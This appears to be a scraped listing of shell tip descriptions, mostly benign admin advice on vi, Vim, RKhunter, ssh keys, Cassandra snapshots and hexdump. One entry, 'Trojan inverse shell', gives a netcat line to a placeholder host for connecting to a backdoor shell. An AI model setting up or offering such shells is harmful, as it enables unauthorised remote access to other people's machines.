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run a command from within vi without exiting
":! ls -l " results in listing the files in the current directory. pressing "enter" will get you back into vi.

Trojan inverse shell
To connect to the shell run: $ nc server.example.org 2000

Freshening up RKhunter
Not everyone reads manpages. Aliasing this command will help with the task of doing audits with RKhunter. It will check for the latest version, update the definitions and then run a check on the system. Hint: alias that in your .bashrc to make life for your fingers easier.

Open Vim with two windows
: new command allow to split a Vim screen in two separate windows. Each window can handle its own buffer. Passing the -c new options when Vim start cause to split screen automatically.

Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
This one is a bit more robust -- the remote machine may not have an .ssh directory, and it may not have an authorized_keys file, but if it does already, and you want to replace your ssh public key for some reason, this will work in that case as well, without duplicating the entry.

Clear cassandra snapshots that are older than 30 days
Better than: $ nodetool clearsnapshot

A child process which survives the parent's death (for sure)
Test scenario: * Open xterm (or konsole, ...) * Start xeyes with: ( xeyes & ) * Close the xterminal The xeyes process should be still running.

print all characters of a file using hexdump
'od -c' works like 'hexdump -c' but is available on other operating systems that don't ship with hexdump (e.g. solaris).

Find distro name and/or version/release
Works for most distributions, tested on Ubuntu, Fedora, CentOS, Gentoo, SUSE, RedHat. Debian and Slackware: $cat /etc/*version

Easily decode unix-time (funtion)
A shell function using perl to easily convert Unix-time to text. Put in in your ~/.bashrc or equivalent. Tested on Linux / Solaris Bourne, bash and zsh. using perl 5.6 and higher. (Does not require GNU date like some other commands)


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